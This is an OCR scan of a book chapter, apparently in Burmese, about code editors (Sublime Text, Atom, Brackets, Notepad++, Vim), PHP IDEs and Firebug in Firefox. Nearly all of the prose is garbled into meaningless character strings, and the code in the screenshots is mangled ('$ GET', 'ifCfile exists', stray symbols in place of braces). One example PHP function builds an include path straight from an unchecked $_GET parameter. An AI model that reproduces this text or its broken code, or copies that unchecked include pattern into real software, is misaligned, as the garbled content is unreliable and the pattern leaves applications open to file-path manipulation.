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səəš: (oG) Tools and Utilities 


Code Editor, IDE aÇ 05900205 Tool qp: 


ç < ere ç ° co ° ° ç 

$99:090060932e(026:699(08 00 eg (99) 39:90 ¿aroma oler 3398830607) Web App qp: 
€ < ° > : >b ç anQ ç € 
69000: NMPAÍCIOIN ANY 3905:(0103 Code Editor qp:& DevTool qp:səe[o2oc: oo @95{Ge02030:0lec5i 
09|$ 602302602 c0030? HTML, CSS, JavaScript, jQuery, PHP oo? 8$09:0900605320905 Code qp:cg;: 
900:033281 ep9o2p9 Text Editor ğe egq:oso:àColoooSi sleoeo? Notepad c9 Editor d|:àes:q6 
con səcoOogoCgoeOo2o5O|oq:II Program 6 :900:83905;(3103 Text Editor 0299000 6320090] Feature 
qp: oloé colon 


16.1 - Syntax Highlight 
Text Editor oo 390539: Syntax Highlight coÓesooCa|o5cooo cpdeo:8Eqoleadu HTML Element 
cog Attribute cooà Content cooo a(Qo:eserEeo5[Ge0:8Eqoleodu JavaScript à PHP 02320905 
: M : Q < e c oc Co $ 
Keyword cog! Operator cog! Variable coo String copo? aR(Qozea006 epeo: RS qoos 360929 
` ° Ç O Ç ey ` o € IN c IN c IN 
es.000:02 Code o» (0293 c9 09058 Geon 90:68 000QqC 32c903009 scams Syntax 
: : c È e x : > ° So c ° > c Q < e 
Highlight có esooéqjo»eqo? Text Editor ¿69:000:(8: 399:000P0007$00003328| e9l6:020963206 
GPE MA:307| 3ocolo5 3990160208 603.920]! 


FOLDERS mvc.php x 
Y mvc 
? phi 
P controllers SPD 
VERDE function render( $template, $data = array() ) { 
Z Views $controller - $ GET['controller']; 
.htaccess 
etes $view file = "views/${controller}/${template}.php"; 
ifCfile exists( $view file ) 
and !is dir( $view file )) í 
$view - $view file; 
include("index.php"); 
} else í 
exit("View not found -> $view file"); 
} 
_ Line 36, Column 21 — Tab Size: 4 PHP 


Q (96-00) Sublime Text 3 
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16.2 - Auto Complete 
Code 6096q:02329] ecoecpeq:qo? 9209:60909 39(8026:3003259: [oš[oš9o5šes «6 3209660560] 


c : Q > c e ç Oo c oc E c 

oq: Auto Complete 0660200 Word Completion esto? Oec geo: Rolon 029 

OCO EA 2,2. O € SCORSA 308 [G S8cS&ocScScssos)] eso co, o 

[2889oc9:o MA: g03000: (8: 68005009 [098328 09c9:0? (08903899c90302355 | 320S [0$Q059ec9 

Š səcosəccojpoo (S0990360:$6 dogode Variable coz Function Name 603031 006 (036 

FS AQ S 2d ç ç *. x seo ç 0 9 9 2. AIE 

e(o»[£» 9505902000:C9020D& ($300: foss] 2.0 [099cé YEON 9203:60l6: 
@(0306(6603 səeo:eoocoo5: 22092»299»:e»e»(890lo»o5v 


«?php 


function render( $template, $data = array() ) í 
$controller - $ GET['controller']; 


$view file = "views/$[controllerj/$[template].php"; 


if(file exists( $view file > 
^ and tis) í 

is_array 

is_bool 


j else { is_callable 
exitC is dir 


$view 
inclu 


} 
} is_double 
is_executable 
oa = ler — 
$action = isset($_GET[' action’ D ? $_GET[' action’ is 
$id = isset($ GET['id']) ? $ GET['id'] : ""; 


9 (oG-ə) PHP Function Auto-Complete in Sublime Text 3 


Auto Complete eo202 Word Complete s [oc Function Completion Nolasco: ¿colono 9 (oG-e) 
o Sol : ococo qc > ° x: > ` : o e 
o? [poli is | c90$$09c90900o$ PHP eo@eso> is_ ¿003 Function eogé:oocoo[oescQ 32206 

e O C 9x c ;| IN e c IN c jl IN e e o ° x 
eg:qjo9 0805030 [edol Sosósozm Smart coo5:[eé[o2oloooSi acond scmoəcmnob:o> 
Function eo202903 coo: Š: sa[03[o}o3a001 saag: Function 0203 $:o:60:39(03{G|60:8603 


e c IN 1 IN 
326005600: secos. GOOlO»OO]II 


Code eq:22o:e09 Text Editor v Function Complete o9c9660:$60? Auto Complete o4$6o90lo6 


IN jl IN € LS c c oc IN IN 
aÇ olud 32409:s0: Word Complete eamacon coOGo:éCosÇoloooàl 
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16.3 - Error Highlight 

3905;(G103 Editor oo ag §eorS03eq2000:6503 Code 3e9o:eog0?eoooo3(0&6e05s9q66009 3060006: 
s9:0101 32956002 Sco66soo6qjo$Q]:o» IDE esl Integrated Development Environment q[:qo22o 
loéecg§o3 c»9esooéqio?(g$0looo3« Text Editor eo54j2520200» Language 007993202099 
020007050 eo Language 3030o eq:c9sese»ó agro: molar. slef 
Language 02993 6g :000:03 Code 3990:0% go: opa 60:$602c966s056qjo$d]: ordslorp5:oloé 
eae Aolo: 3l]soeo Plugin qp: Extension qp: 3069 &cop?996:(9: 3290:600009 (060: 8603 
coóesoocajoocogo [895g05000:§E0los05 


N 





[Function build_task(msg, id í | 
| checkbox = $("<input>", { | 
type: "checkbox" 
}).click( function { 
if($Cthis).is(":checked")) í 
li = $(this).parent(); 











9 (96-a) JSLint in Sublime Text 3 


9 (06-0) genoma Sublime Text esto? Text Editor oo JSLint col Package 0299020009 
o96:000:03320209 09|$6003026q:000:02 JavaScript 3290:0? e0202(060:6$ 000260) qe»(s90lo»ou 
build task Function 390305 60 :32800$3% Highlight coo[oesooooli S3209: 
qo3o»qo$ 9908098 esoq$azo: ¿colono JSLint oo eooo0 [003320209 (86220290: 04 c026050:0: 
MN: [Aon 69606 8629: o [ešoloooŠi Text Editor go $08 Error Highlight coÓesoocaoo 
qp: (899903000:c9 qe 3»c?9026e»[s90lo»o5u 
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16.4 - Navigation 
e e ex e e e CN ° e ç ç e OC x : : 
epos aea: (03: 0309 des006 910502602) oəo:8|éo>esepoo ORETTE 990:co4Co) Navigation 
e e e e € . . ` e e ç O 
CoO esoo [ešoloooŠi 9 (06-00) 9o Sublime Text e, Goto Everywhere coócsooca|o5o2 $9 
39684 epo: vlos 


<", /opt/lampp/htdocs/mvc/controllers/category.php (mvc) - Sublime Text 





FOLDERS mvc.php 
Y mvc «1 5 
P controllers sd cal] $ 
> models 
199 category.php 
> views 
controllers/category.phr 
-htaccess 
index.php 199 category.php 
79 list.php 
cat 
79 new.php 
cat: 
case "del": 
m cat($id); 
default: 
exit("Unknown action -» $action"); 
} 
Line 1, Column 1 Tab Size: 4 PHP 


9 (96-00) File Navigation in Sublime Text 3 
oco e ooc 


930:0803 File §e08030:868 2005g05000:05 Shortcut (Ctrl+P) 03868: File 3269390 olo? 92c5:028 
a, Qošcoo5oooš 0203990? File 96:03 ec3(9eo:cooeo[s90lo»oS€ Fuzzy Search 25:000:00o [900% 
File 326p532093203$036$ 9ec90lop: 0203960902 File səeə5əoolo> ma: Fama qol 


Q o oo c o > ` ° coc 
(En $90 cat QAO, controller š model Folder qp:o9oo category.php o? eg:aJo5eçcoó 40 


c Q : > : ° S. coc c IN e S. Ë 
gadac view/category Folder cóoo File eogopcopo: eçacooleooloooši 39p9:3 Code Base 
€ ere e O x : ° Ç ° coc c IN c IN 
naco: (069: an: apo Code File o» so (8$ H: ag: epo oo[eóoloooŠi Folder eco o»99q|c: 
IN Q € 


SYI Apea qoec9eoooolop: i 
<", /opt/lampp/htdocs/mvc/controllers/category.php (mvc) - Sublime Text 


FOLDERS mvc.php 
Y mvc _ 
P controllers @ = 
P models = 
show list = 

P views 


y | show new 


.htaccess 
add cat 


TERES fu rm cat 
MÀ 
render("list", $cats); 
} 
function show_new() { 
r ler("new"); 
} 
function add cat() í 
$name - $ POST['name']; 
$result = ert cat($name); 
9 characters selected Tab Size: 4 PHP. 





Q (9G-c) Function Navigation in Sublime Text 3 
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YERA a Aay onsem: opo:coo> Function $0 qjo03(86:250:$6600? ases 
Amos: Sublime Text y oloéoloooóu Goto Everywhere Box cógo O Sign eo: copan: 
coc 


ma Code File 3203:92 oloGo? Function qp:$po? oəo:esposaceo[eóoloooŠi 


co 


16.5 - Code Snippets 
Code Snippets ONE GAED: QOO Code 60303 2902469:08p90%0 990503000203 
3202600209 eq:225:0909098 onda səcosəccopo5esl:co:opo:o5 seanso gees ó 
(o-o) go for co gano Sublime Text oo for Loop, foreach Loop q: sacssacogpases: 
° n IN o ° ° oco c GC IN o 
G0:0 alel coooloooSI for c 2003601(8: Tab ¿007089 PHP for Loop Structure 00307 
oo € 


ga(Gassed oop9eo: o2o:eo[eŠoloooSi foreach GAH: Tab &óc9o3«6cop9: foreach Loop 006903 
ao (00932 $0009 ee: co:ago:eo[só c9 09|$ 6050300 0m00):3/5:090569:698 ec$coolor: t 


html ccooo5qoo[o: Tab goq: HTML Structure (op o? Text Editor o» 329 32 
ecgpo3(50960:990: gol div.header das: Tab ¿60d 09 é <div class="header"></div> 
° ° ç c ;| ° j| c . e e ç jl ç ç c ç 
cÓ Gq:220:00p9996: co:oəo:eo[eóoloooSi slef Code Snippets coSesooca|oSoloCeoSi agenda 
R cops: cBespo5632263299: qe03s9q6 326099600:3209009625o:eo(s90lo»ou 


<", /opt/lampp/htdocs/mvc/mvc.php * (mvc) - Sublime Text 


FOLDERS mvc.php ° 
Mas exit( View not found -> $view file ); 
P controllers 
P models 1 La 
P views - 
.htaccess for 
index.php for "pm 
mvc.ph| 
foreach foreach .. 
; 
forward_static_call ? $_GET['action'] : 


forward_static_call_array 


newt_form_run id'] : ; 
date_format 
money_format r}.php"; 


newt_form 


and lis dir( $model file )) í 





Line 19, Column 4 Tab Size: 4 PHP 


9 (06-0) Code Snippets in Sublime Text 3 
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16.6 - Other Features 
IES S ç AS MM ce, co IS ñ c 

329 eu(o30) coÓesoo6qio$eoQ a»o:c5:0loG(8: coo$$]go seose: Popular (866900202602? 
Sublime Text 3 à Atom o» (s$olo»o5u &Od|:cp:oo Windows, Mac, Linux oo? OS 320109190 seos:(o| 
8603 Text Editor eop(s9(p20lo»o$« Sublime Text 3 o» Open Source Software 059960»? eooo5ol 
oq Sleoeos coÓesoocajo5so[ooosoboloco Trial Version o? q033200$3222056$60:000: 09 epa 
es 39993905:(0/9¢ qo? ooeooo[s$olo»o$u Sublime Text o? sublimetext.com o» Download qop&6ol 
0091 Atom meso Open Source Editor oo$e(sé(8: 8050600:860226:020001 Editor o»99c5:0? 
JavaScript à @g3000:000: [96:5 [ešoloooSi Atom o? atom.io g Download qop&éolo»o3i Atom 
006002 3296500906: of o: concolor 2999607 Atom 4, aean geog Sublime Text o? $ 

e @ >` < ç Q S.S ` ° 2 ee. c < c oo 
QE 6$05:9000 (S$olo»o5u coleolol:ol: apajcge Sublime Text o? o9:22Q(8: coOesooca|o5 Q9 


Lafe: 86905802003 25:q6«660»? Atom o? 25:$60lo»o5u 


$ Editor 60299 ga (82:09:80: 0209665026qJ03602 cloéoleos:00051 $PC Lemanas 
2220205329 20loé03 Mini-Map o3602.98éclosuSu 28699503 Code File sozg ooŠešçpooses 026 
e$ 92:8 396000033802(96e00]000511 Multiple-Cursor coóesooCa|o5coo5:oloColoooŠii 20092 - 


$name = $ POST['name']; 
if ($name == Sconfig['name']) { .. } 


§@g00l0G0} name s903e0c9:6093200: fname &390:09:09000989q6 ocoe name o9 Select co 9: 
Ctrl+D 85a30;(86:390:(6¢ ao(go: name cooo Multi-Select coÓco:oəo:eo[eóoloooši ona Select 

ofe o o c(ococo c > c ^N o e ce Oo 
ade fname $ o»$(096Q09c909000$ Select coócoo:o5 name 609320:0: fname feðga gfse 


IN ° CN c IN erc ;| IN 
32G0»26GC0:3229:0CO2 aessa edo ODOOII 


° IN e IN CN ç c e IN e IN 

3960: 3980: 9060009 səcox5cco:səccooo5səmo [eoo 029 [82: c9668026qJ03600:602 olo&oleo»:o»oi 
oc c o : ç Q “° . ocre O IN : coc IN 

Code coc:ooóəoo Duplicate QOYA Ctrl+Shift+D RSE: c9o2ecooo? Duplicate oyó o loros 
o8é:602 sacol esmas eg des Ctrl+Alt à Up/Down Arrow coge: eg golos sacol 
c ç e > ° ec OC, * c o € ocre ç oc IN c IN 
G32005 004:0e6q:000:02 Code e0209009c96: co[eócocosqe Ctrl4J 85(6: 026096:0995:(gdea906 


: ° coc e co oc O e o_o e IN o e ec... e C€ o c 
Join GAAS coo5g] c96:0? 689505005 Comment Ogn (0960902) ETLE 
Ctrl+/ & segéa»009c90&6 oloooSW Code cogoqjo5o>səs] Character 0069[86: əoooóo Word 


o < ç ç < I ` coc ç C Oc, 2 eco < IN c 
BANO qQ[O2230:S|C $C Ctrl+Backspace $ q|jo58ColoooŠ! 0mo0c: 0): yes 020090:02005 





Select coO(8:qjo9es ospecpolop: t Ctrl+Shift+K gsf: SRo 
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<", /opt/lampp/htdocs/mvc/controllers/category.php (mvc) - Sublime Text 





FOLDERS mvc.php x category.php 
yega <?php "E [<?php x 
EI > switch($action) í 2 
function render( $ case 
ES template, $data = case "list": 
aspas arrayO ) í w_listQ); 
-htaccess $controller = $_GET[ break; 
index.php controller']; case "new": 
mvc.php show_new(); 
$view_file = "views/ break; 
${controller}/${ case "add": 
template].php"; 1dd_ O; 
break; 
ifCfile exists( $ case "del": 
view. file ) rm. cat($id); 
and !is dir( $ default: 
view file exit("Unknown 
DE action -> $ 
action"); 
Line 1, Column 1 Tab Size: 4 PHP 


9 (96-20) Split-Screen Editing in Sublime Text 3 


9 (06-20) eo[ocoo:ooco Column eco3(8: Code File 05:6c0:909 o»9[9|60993:6q:22o:&60lo»oóu 000 
0008 go HTML Document BgGoor:(8: @$0090069005¢0 9003886) CSS RYO: R320209 File 
006960009 073699074 229$02$09pe0co olor: I so [80:32 622:3090:6co:c09 (990) Line Number 
eoS(po: Indent Guide eoS(po: Close Tag coəosəc0səccojoo5cooo o96:60:0e0g000cop9: 32000600: 
Smart (89(8: (p99$60026:9402 Editor o269[gdcloo05u 


ases eog: o:a Shortcut cog go5qacsgoo8 $0998ec9olop:t Ctr1+Shift+P 0009 
° < °@@ oc O c G, x ^ s ^ c < < 
NV oocoo: (9: 85c$05qE03a08le0T coco? Command Platte o» Sublime Text ¢,cpoesos¢ eog 


0? 9999:60:000:eo(s9c9 c9q[6020996s006qj090? saa0Geg:qjv5s905;(G,05015n 


e o. e FS Q ç. ` ç < QOS ç 
(sa8eaSardesor€é gaSeogm.c0p5: Package qp:saegg cop903C:0003§C ole: goeo - CSS3 
X | . o ococo € IN o x : ° <ç o c 
@q:000:03308! Vendor Prefix cog MMC eešcoo Sublime Text o? oopoco:cocpqc 
. Q ° <ç IN oc ç ` . ° ° 
Prefixr Q Package q|: 0093026:000:8E olos $€:050:000:0? JavaScript Code cogo səcosə 
IN eai c OC * . à . Q ° IN € c IN e oc € 
cepo Minify cp0co:400) JSMinifier o» Package q|:eo9 copo: [Lagos cop2oəoC:coo:8ColoooŠiI 
slef Sublime Text à Atom o$c9 Editor cogo BeqpoSesscéod:§Ee0da8q6 090980402. 
Development ooo 32qp:(03: səsocc[o eqpeg.ogo:eoeo(s$olo»o5 
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16.7 - Other Text Editors 
iN < iN o € Sy ° ` š ` š ç ° )| 5 
c9OóesooCqjo?eog 32093203|e0?60602 RI: 002R $0? ao (go: Text Editor qp: copó:go!eoo: 
oooói Syntax Highlight, Auto Completion, Navigation š [eo: səc[eŠšcoOesoocajo5 607 006002 
3202090 (8$ 920lu (8999 09c996s0068J0560242602? Sad] copo: Sublime Text à Atom coma e(9p9$ 
° EN e IN > ` co e ç 900€ iN 
olo: Sa8|.c996s0063J056099260»? Sublime Text § Atom o00506020€:0206020099: ARES 
3996900390 :3009 00003 Code Editor 0209006009 Bracket O(880lo»o5u HTML o? Edit 0906305 
ooo$s96«p CSS Code o? Inline Edit asgo seas Aggi gcoSo2ooeslooo5: eoo (86q$60? 
Live Preview 003 co:[eo:o>ycoOesooCaJo5eogoloColoooSi 25c5p3:0 Open Source Editor ooëə[ə8ëcol 
ç 
OD05II 


Windows 320305 3209:006qp:0020060»? Notepad++ [gdcloruSu oocoo5:ó cojé[es[0: Split-screen 
na coÓesoocajo5cogooloCo Text Editor coooC:ooes[eeoloooi Sublime Text ecooo$ Feature oo 
e000) Code Editor ooëəsəešš Qsoa seansaol səo5:qp:o> Open Source Text 
Editor o»$e[s90lo»oóu 


Linux 320209896 con Gedit, Vim oo? Editor eoo qolo»ou Gedit o» coob:qp:o> Ubuntu Linux co 
OS ag Default Text Editor s [e° oloCccooeo[eóco oŠ: (50: copsog6:6g 860006 ec9olop: 1 Vim 
meo sconeo: Advance (e503 Editor o» [e° Š: Windows o? Mac 03.900095:3905:(0)8éol 
ooo 3leoeo? ooo[eo: Text Editor eog sacor5ec0:03(G0:03890205 3e25:(9]02058 3eq|$60:ec2coo« 
&ColoooSi sleoeo? aooga capos: səob:ocoloooSi Server saqp:@gocop5: 39226009? 
026:60:000:609§ 03 Editor [eŠc%ecocoocoo:osÇoloooi 


° Bracket: http://brackets.io/ 


° Notepad++: http://www.notepad-plus-plus.org/ 
° Vim: http://www.vim.org 


16.8 - Integrated Development Environment - IDE 

Text Editor 090005 co9esooé qio909 (00590? IDE G02 § 01600200051 IDE eog% Text Editor cozgo 
olo oj c996s006qo9320: 05: 9a[0E1 Debugging, Integrated Web Browser, Refactoring, Pop-Up 
Documen-tation, Integrated Version History, Database Browser oo coÓesoocajo5coo (egos 


)| coc 1 IN 
o ocáco ODOOII 


` c ç Oo X o ce o.c o coc c IN IN o 

Debugger cog o36030loé c? es.000:02 Code o» sasogapad Trace c9o$&6eo(s$olo»oou VIENA 

cops: Web Browser 0269898:{80:(03056g80096 ong IDE §03005cloé03 Integrated Browser go 
c 0C 1 IN ° ` jl e ç Oo e ° oc 1 IN : 

(02099. 86 olon NI (0916: 00:02 Code Template eopolocooo5op g900G.3905;(0|860 oooóu Function 

cooo Auto Complete (97660: 09en səo:[o|ó Documentation š Reference qp:ol DOHA 
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səo:[o|ó 69659002 Qospec?eooolop: I Version History Naps: $0260:000:à ¿co (ocsoc[(spógos 
c90$0? Code o? ecogegod Code mes A:s esəocoeeo[oco:8ColoooSi aleo[yé FTP Server 


ec94|o5so03(8: €$:220:000:02 Project o? IDE meş dlos: Publish js ae ea. G 


° 


` c e ç O IN IN IN IN oo C > c IN IN 
o2 coÓOesoocaooQ|: cogcoo5:oloCooo oloooŠi Database Server OPA I]OP2 8009 DORG los) Cpoesoaca|on 


ç ç n ç ; £2€4] ç 
GOQCOPY? OIDO!IOIPIsOlOC &CO|GOD2:O2OOII 





nue». JO T W P- B 


Projects Files Services x E hp $ detai.php x [g add-edit.php x fa add-edit.phtml x > jly)lo 
Y" Bi Databases 



























































e i o Fa. H- c [73 E iv 
> {g MySQL Server at localhost:3306 | ¿Source J History =" = Q w > b 3 Y 
» (8 Java DB 63 t) «hl» f f AF. 
> (3 Drivers 64 [- <?php if ($edit): ?» [| 
» ® Web Services 65 <?php echo Utils: :escape($todo->getTitle()); ?> 
= = ? : 7? 
» E Hudson Builders = iat tasted € 
> Ë Task Repositories 6a | <?php endif; on 
> 4% JS Test Driver 69 L </h1> 
70 
71 5 <?php if (!empty($errors)): T> 
1 E 72 E «ul class-"errors'» 
Navigator x E 73 E <?php foreach ($errors as $error) : ?> 
v fg PHP | 74 <?php /* @var $err ?> 
š A I ] zu <li><?php echo Barton suatassapsti: ?»-/li» 
@ error field(Stitle, array Serrors 76 L <?php endforeach; ?» 
Y "n CSS 77| + </ul> z 
v B Classes — = ——— > ; 
w .@@@ ka] html > x 
Ta .datepicker Tasks x Output 
EN P 
„errors 
"B field Q/ Filter: T 
: Ta cnhmit mo Categories Le 
Repositories LA 


Filters: (a) (8) |& 





9 (06-a) NetBeans IDE 


IDE o2[90:030:00439g, səeox:ëo5coOesooCajo5eoooocoso o3X(0o:999:9o0l! PHP Development 
390305 3295:qp:02 IDE 009 6:08 eeo[oco:coosoloooi 


° Netbeans: http://netbeans.org/ 


° Eclipse PDT: http://eclipse.org/pdt/ 

° Aptana: http://www.aptana.org/ 

° Zend Studio: http://www.zend.com/en/products/studio/ 

° PHPStorm: http://www.jetbrains.com/phpstorm/ 

° PHPEdit: http://www.phpedit.com/ 

° DreamWeaver: http://www.adobe.com/products/dreamweaver/ 
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Netbeans, Eclipse š Aptana 03029 399998603 IDE coze: Zend Studio, PHPStorm à PHPEdit 
02006009 c96o60030p 322: foq gion VS.PHP c2 Extension ob: Š: coo Microsoft Visual 
Studio &copo: PHP Development oag gso 


16.9 - Text Editor vs. IDE 

Text Editor cooq oo: E2950 9092009 Language 390203088 3905;(0|&6ea006 dogo: coo: (a 
(6:1 IDE 6090060»? 0009896 qp$09:0920320209 qp9go3oop9esooo?ooo:(o»(86 (8$ 0lo» o5 Text 
Editor qp:o» Code Editing 02900 csooC go960:09 Web Browser, Database Manager, FTP 


Software, Terminal à 3o[82:900300 Software qp:o? 036033205: (9]$ c9 &60looo5u IDE qp:oscooo 
° Ç x iN c c ° ° ç ç oco ° ç 
Development qo 3200) coOGsooca|o5soo;co; o? IDE MEF eange: gG [3o20 


oloooSi 


Web Development gocloco> 200005 053099960200 qpp:cooloooŠi PHP Project 88.0003 PHP oò 
GI: op: es: qoood||:eooc5oloq:I HTML/CSS cooŠ5:esk:qoloooŠii JavaScript/jQuery cops: es:qol 
nn (6: con Ajax App condes Server-side coo$ Client-side Development o 36: Focus 096 
| Sal ç ç cy wen) ç e oO (9 7 S a ç 
gol man 3 e(o206 IDE com 20056000050 320:09:0968006g0260:Q (03]:00:000:60009 eano) 
80] oc e o : co IN Cx ° ° ç e ° 
eqe golg: saq|$orgeor? IDE o» Code Edit c9983202036cooo503eo5:(9|(8: NOCE: 
oŠ: (80: ea006.go5qo005 olosi IDE GORUN coÓesooca|ooqp:eo dloéo3sa0205 es:ecoqoloooóu 
ç coe e ç e. OQ ç 2 O° < —, Sol Sica] c 
APYN opéql[o229? oden: Software coo 39[8)605:8ac5ag0:00050 om 3 eloyos Code 
Edit 0003900332090989q66009 €8:c09:0? IDE cop 99:69 oolp: Text Editor sogoo Code 
ul o core epe ç cy O IN IN c oc € 
Editing o? IDE 02000908: (ss[es 2092093, 960206:6320605060:$6(020lo» ou 


slefox¢1 so:(go3qgooo! $eso? IDE 60200 onp5es0003005 Project à, Development oSsadqias 
2.0 € ç Oç ° x Sy» oc ç ç Og ç 2 < ceo c 

320:09:09 (Sp$s0p3:$620c00:s9033eqjo$8O 0936:00o«90ol! (sp$s0p9:$60003! arme 

IDE qpp:səo5: [0] səcoócoó e 6: oo:(86 səcoOQooCooaColoooŠ! ecoecoo09 cQ IDE o? Code Edit as 

2 C S ç O ec $ > ore c < IN ç 

05900 999600003 qeda eco Text Editor ap:šoo 0[Š:3əcoóooceoeeo[eéoloooši 


16.10 - Browser DevTools - Firebug 
oc ^ ` < € < < ç 
eq,9c:9» Browser cogo 6$:220:000:0? Web Document ògo 3290:0lg6cop3: zasos e(063206 eo5(p 
Go: eA a c[ooàoloooSi og|$eoo309e«:000:02 JavaScript cozodgo Error eogolopo:q6 cops: 
Browser 60309 Error cozeo:ecgó 030509056co:0 Document o? so03coo$eo9 (65292: 92{850lo>051 
Sco% AR|$ 60509320202 [9ososo[sëcoooloooši 02036q:000:0? JavaScript Code 39090807063 q 
000380190: epu wsze qel: Sesqpeo 3205106 00000000 Browser Dev Tools eoo (so! 
< < 2 ° co < < 9 0 
on 0268680? Browser səo:co:eo DevTools o»056 olo$coo(p29lo»o*u 3930) Browser DevTools 
S.S < ° ^ c ç Q < - Q € > 
Goo edloéaéar0r95: meş Tool 00090000: loSi Firebug coes[olcooŠ!I opo» Browser š 
e x < ` > € e 2 < 
səcooloCo Tool emooloz:1 Firefox Browser go Addon 32684 0099026:3995: fo qon 
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Firebug o? getfirebug.com oo o286olos051 Mozilla Firefox š Download opde0dadq6 Browser 
Addon so[só ooósloop9: Install 09960:290:9o0li Firefox Menu cd Web Developer ^ Get More 
Tools meş IBSEN: aopécolo ón Firebug ¿8202 39[80:3205:0602 Addon qp:o? Get More 
Tools oo pops: c00:60:0100051 





<", Book Store - Mozilla Firefox 
|) Book Store | +| 1 
@ localhost/store/ e | E- Google APP $ *- W: AA? 





Book Store 


(0) books in your cart 

















All Categories E 
mm Data Science 
Programming Ubuntu 
Pocket Guide 
PS 
Internet dE 
Interf. n y 
op = © 
ek 2 = `| Console | HTML | CSS Script DOM Net |^ 880 
& Edit h1 < body < html Sye | Somputed, nos. DOM 
i «nimi» ^|hi( style.css (line 13) — 
m <head> background: none repeat scroll 0 0 #3498DB; 
E <body> : color: #FFFFFF; 
<hl>Book Store</hl> font-size: 21px; 
[el «div class="info"> margin: 0; 


E «div class="sidebar"> padding: 10px; 





9 (06-ay) Firebug - Inspect 


Firebug Install qs: q 9 (06-ay) &olo5 (9) 92(G000: 0330036: Bug occo: Toolbar cóço oloécoogo 


oco Ç 


[ešoloooŠi gso Browser cəəoooc|eso:eo Firebug Window eol eoogooli Window q sacol o: 
oo šolo (y) š Loog: ec0:030264]0585(8: Document cooo o2oSccocoocoo> Element 0? ego05 
000 OROA 338 Element z2030568:000:03 HTML Structure à CSS Style co203e03(Gc00905 
[ešol oooŠi ó EG-j) à HTML ooo5əo «n1» Element o? Highlight (9063[8: 220000500 CSS yo 338 
hl 220305 6q:200:000:0? CSS Style q:o8e05(Geg@2(gd0lor05u CSS File sav 6q:200:000:0) 
Line šolo mao oloCesəo[eëcloooSi o$:250(06s069«qp:o? esspeoooc[o|coOSColoooSi [oc soc 
80503380036: Document o qjo3(86:22096«p03222: gol 3leoeoS Document o? Reload aqs 
con (GEsoEc00:03 (06so6qjo9qp: eqpo50903222: gso 


qa u n Firebug Install ason: Š: qc Document eo! oo como) Element o? Right-Click go: Inspect 


with Firebug cg:co:[eC:səo: (56 coo: ooa: [o é ColoooSi 
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oc OÇ 


094302: [66 69.000: 20803 HTML/CSS qp: o? ee il 06: :0066q; 2000; ¿colon n 90)07C: 09/97 


€ IN o 


3268 32000:02€(8«960029 06:00069:000:000:3/Mgp:0% 0:09 (8: Code File coo 00p9036:6030) 
¿colon n $5 05:8, Style qu3qp: RAO Live eang: 639002030: 66090 [ešoloooŠi 


3, 8, 


šolo (Q) ešspeo coeo[ocoo:o Panel qp:o? so0$co03ec9coo[2p90lo» o5 cqs0: Panel (S603 
Console maps: 3960953905: 06 0100051 


«", Book Store - Mozilla Firefox 





¡E Book Store | +| 
@ localhost/store/ c | E- Google P RADA AA 





Online Book Store 


(0) books in your cart 





All Categories = ~ 








Data Science 
Programming Ubuntu 
Posket Guide 
Internet "— 
Interface Design E- = 
or €» 7| Console y | HTML CSS Script DOM Net Cookies |^ | Geo 





document.getElementById("title").innerHTML = "Online Book Store"; 


2 Copy History a g 


9 (56-20) Firebug - Console 









le Clear Persist Profile | All| Errors Warnings Info 






e ReferenceError: $ is not defined 
$(function() { app.js (line 1) 


»»» document.getElementById( .innerHTML - "Online Book 
Store"; 


"Online Book Store" 


Q (96-02) 4, šolo (9) o?ecocoo[o299«6 JavaScript Error 056909605 qeo([s$0lo»o5i aeol 
Toolbar cóm Bug Icon eco:eocó Error 2e 2207A eA Gelos Error o» "Reference 
š . o o ç : ° e e e Os ° oro 
Error: $ is not defined" dolor $ Sign o9 o5o5əo5coo:[eC:eqo 390529)8(03):00:6§ 
e(o2o Ô: coo[oo Error oli jQuery ego jQuery Object o? o5:000:8 coli $5 05:3 JavaScript Error qp: 


ec oooc 


JELRE: cSo008(Gés0ée co (9j 096030: ¿coso 
šolo (J) esepeogqes o? Button eo: gsf: Code Entry Box à $608 elos: ¿colors Code Entry 
Box (903 šolo Q) esepeo JavaScript 0004], 6000: 002: 000 602 q9ooli ID Selector ooo: Š: 
title Element š, Content c? "Online Book Store" delorc:36:000: sé: [sëoloooSi šolo (ç) eo 
000:03 Run o? $6c909«6 s9:000:03 JavaScript Code oo a|o[8S:səcoócoóooo:eo[eóoloooSi 84 05: 
JavaScript Code q: Raps: Live 09:25086eo(s90lo»ou 
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se[go: Panel eop(s9(po02 CSS, Script à DOM Panel 0899 coo$$| Document 9o4[o$s0030lo60? 
CSS qp: JavaScript qp:à DOM Structure Information qp:o?ec3(9ooo:0lo»oóu Script Panel o5o 
Soc x 


con JavaScript Code qp:o? Break Point qp:o205903(8: Trace coóšco Debug cpdes006 910303 
cops: csmegagcolo 


«7, Todo List - Mozilla Firefox 





¡ES Todo List | +| 
4 localhost/todo-ajax/ e |E- Google AP +$ ee- @- @#- U- 
Task List 
Something to do 
_] Completed Task e - 
Sk € Æ |* Console HTML CSS Script DOM | Net v A ana | 
it Clear Persist All HTML CSS JS XHR Images Flash Media 
URL Status Domain Remote IP Timeline 
= http://localhost/todo-ajax/api.php?get-all əst 27.0.0.1:80 








Params Headers Response Cache HTML Cookies 


tE [e ","subject":"Something to do"},{"id":"2","done":"1","subject":"Yet another thing 


to do"},{"i done":"0","subject":"Completed Task"),t("id":"4","done":"0","subject":"Something yet 
to do"},{"id 7? done":"1","subject":"More thing to do"}] 
1 request 263 B 2ms (onload: 1.83s) 


Q (06-g) Firebug - Net 
Net Panel gocox Request/Respond qp:ëəəc[esəes! vaso Status Code 1 Request 0069 
(8:e(8205 320205 PCO ê: eoc>səa|o5səcoooqpp:oo 90:6059000:9 [9001001 


XHR Request q: JavaScript ¿[090033231 Request ap:oso esa darlas: 9 

aef 326$ [eŠSoso@əo5ooo5oloooŠi Firebug Net Panel ò% šolo (p eocoeo[ocoo:o XHR Tab 

go XHR Request/Respond qp:o? ajf &o»9e[0:99ec3(060:e5 eo[5$ c9 sacfasacs con 326009 

səob:oCol on XHR Tab o3goeo3[0e$0? Request URL qp:o?&9(0209(8: c0:0c90902 Request 
` e ç O >x ° oc c IN 

səc[8səcsšà [0$cop9q$o? Respond Data q: ecocooàCoo[eóoloooŠši 


Ajax emos $9$000996s000580) Todo App 320309 XHR Request aec(832640? ó (06-g) qo 
ec5[oooo:olo»oói Respond Data o? Firebug XHR gen major] JSON Array o»93o(s9 
coo$ó qep eo? qolo»o3i XHR Request/Respond qp: esmc[ec[sc:1 eesəoc[ec[eC:səoc[esocs 
qp:o? $505:3299q&60lo»ou 
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[ES Todo List | + 
